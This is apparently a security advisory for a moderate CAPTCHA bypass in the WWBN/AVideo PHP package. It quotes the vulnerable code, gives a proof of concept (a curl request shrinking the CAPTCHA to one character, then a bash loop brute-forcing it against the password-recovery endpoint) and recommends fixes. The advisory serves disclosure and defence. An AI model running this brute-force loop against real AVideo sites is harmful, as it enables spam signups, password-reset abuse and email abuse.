CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure

Moderate **DanielnetoDotCom** published **GHSA-hg7g-56h5-5pqr** last week

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

`objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.

Details

Three cooperating flaws in `objects/getCaptcha.php` and `objects/captcha.php` reduce CAPTCHA protection to a deterministic bypass.

1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`)

```
$largura       = empty($_GET['l'])  ? 120 : $_GET['l'];
$altura        = empty($_GET['a'])  ? 40  : $_GET['a'];
$tamanho_fonte = empty($_GET['tf']) ? 18  : $_GET['tf'];
```

```
$quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled

$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);
$capcha->getCaptchaImage();
```

There is no minimum, no type-check, and no clamping. Requesting `/objects/getCaptcha.php?ql=1` causes the server to generate a single-character word and save it to the attacker's own PHP session.

2. Small alphabet stored in the session (`objects/captcha.php:33-39`)

```
$letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789';
$palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras));
if (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) {
    $palavra = "admin";
}
_session_start();
$_SESSION["palavra"] = $palavra;
```

After case-folding the alphabet is 25 letters (A–Z minus `0`) plus digits `2-9`, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.

3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`)

```
public static function validation($word)
{
    if (User::isAdmin() && $_SESSION["palavra"] === 'admin') {
        return true;
    }
    _session_start();
    if (empty($_SESSION["palavra"])) {
        _error_log("Captcha validation Error: you type ({$word}) and session is empty ..
        return false;
    }
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if (!$validation) {
        _error_log("Captcha validation Error: you type ({$word}) and session is ({$_SESS
    } else {
        unset($_SESSION["palavra"]); // Consume the captcha token to prevent reuse
    }
    return $validation;
}
```

Two problems here:

- `strcasecmp` is case-insensitive, collapsing the alphabet to ~33 distinct values.

- `unset($_SESSION["palavra"])` only runs in the **success** branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.

Reachability

`Captcha::validation()` is invoked from unauthenticated entry points including:

- `objects/userCreate.json.php:38` — user registration (`Captcha::validation($_POST['captcha'])`)
- `objects/userRecoverPass.php:31` — password recovery
- `objects/sendEmail.json.php:10` — public contact email
- `plugin/API/API.php:4243` and `:5684` — public API endpoints
- `plugin/CustomizeUser/donate.json.php:62`, `confirmDeleteUser.json.php:15`
- `plugin/YPTWallet/view/transferFunds.json.php:25`

None of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers.

PoC

Attacker flow against an unauthenticated signup/recovery endpoint:

Step 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session:

```
curl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null
```

Step 2 — Brute-force the single-character answer. Because failed attempts do NOT reset `$_SESSION["palavra"]`, the same cookie jar is reused and the same stored value is checked against each guess:

```
for c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do
  code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \
    'https://target/objects/userRecoverPass.php' \
    --data-urlencode 'user=victim' \
    --data-urlencode 'recoverpass=1' \
    --data-urlencode "captcha=$c")
  if ! grep -q 'Your code is not valid' /tmp/r; then
    echo "HIT with captcha=$c"; break
  fi
done
```

- Worst case: 33 POSTs per session to pass the CAPTCHA once.
- With `ql=2` the keyspace is ~1089 — still trivial and more robust against any edge cases involving `empty()` on a single-digit word.

- The same technique works against `userCreate.json.php`, `sendEmail.json.php`, and every other `Captcha::validation()` caller.

Observed behavior on the local instance: each wrong guess returns `"Your code is not valid"` without rotating `$_SESSION["palavra"]`; the logged `session is (<char>)` message in `_error_log` stays the same across all failed attempts in a session, confirming the token is not rotated.

Impact

CAPTCHA is the only "are you human" control on several anonymous endpoints. Reducing it to a deterministic ≤33-try bypass enables:

- **Automated account creation / spam signups** via `userCreate.json.php`.
- **User enumeration / password-reset spamming** via `userRecoverPass.php`.
- **Unsolicited email abuse** via `sendEmail.json.php`.
- **Comment / donation / wallet abuse** on plugin endpoints that rely on `Captcha::validation`.

It does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.

Recommended Fix

Three coordinated changes in `objects/getCaptcha.php` and `objects/captcha.php`:

1. Clamp `ql` (and ideally the other image params) to a safe server-side range:

```php
// objects/getCaptcha.php
$quantidade_letras = isset($_GET['ql']) ? (int)$_GET['ql'] : 5;
$quantidade_letras = max(5, min(8, $quantidade_letras));
```

2. Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh `getCaptcha.php` round-trip:

```php
// objects/captcha.php::validation()
_session_start();
if (empty($_SESSION["palavra"])) {
    return false;
}
$stored = $_SESSION["palavra"];
unset($_SESSION["palavra"]); // always consume, regardless of outcome
if (User::isAdmin() && $stored === 'admin') {
    return true;
}
return strcasecmp($word, $stored) === 0;
```

3. Use a CSPRNG for word generation instead of `str_shuffle`, e.g.:

```
$palavra = '';
$len = strlen($letters);
for ($i = 0; $i < $this->quantidade_letras; $i++) {
    $palavra .= $letters[random_int(0, $len - 1)];
}
```

Optionally also add an application-level rate limit (per IP / per session) on all endpoints that call `Captcha::validation()` as defense in depth.

Severity

Moderate 5.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2026-40935

Weaknesses

▶ CWE-804

Credits

offset Reporter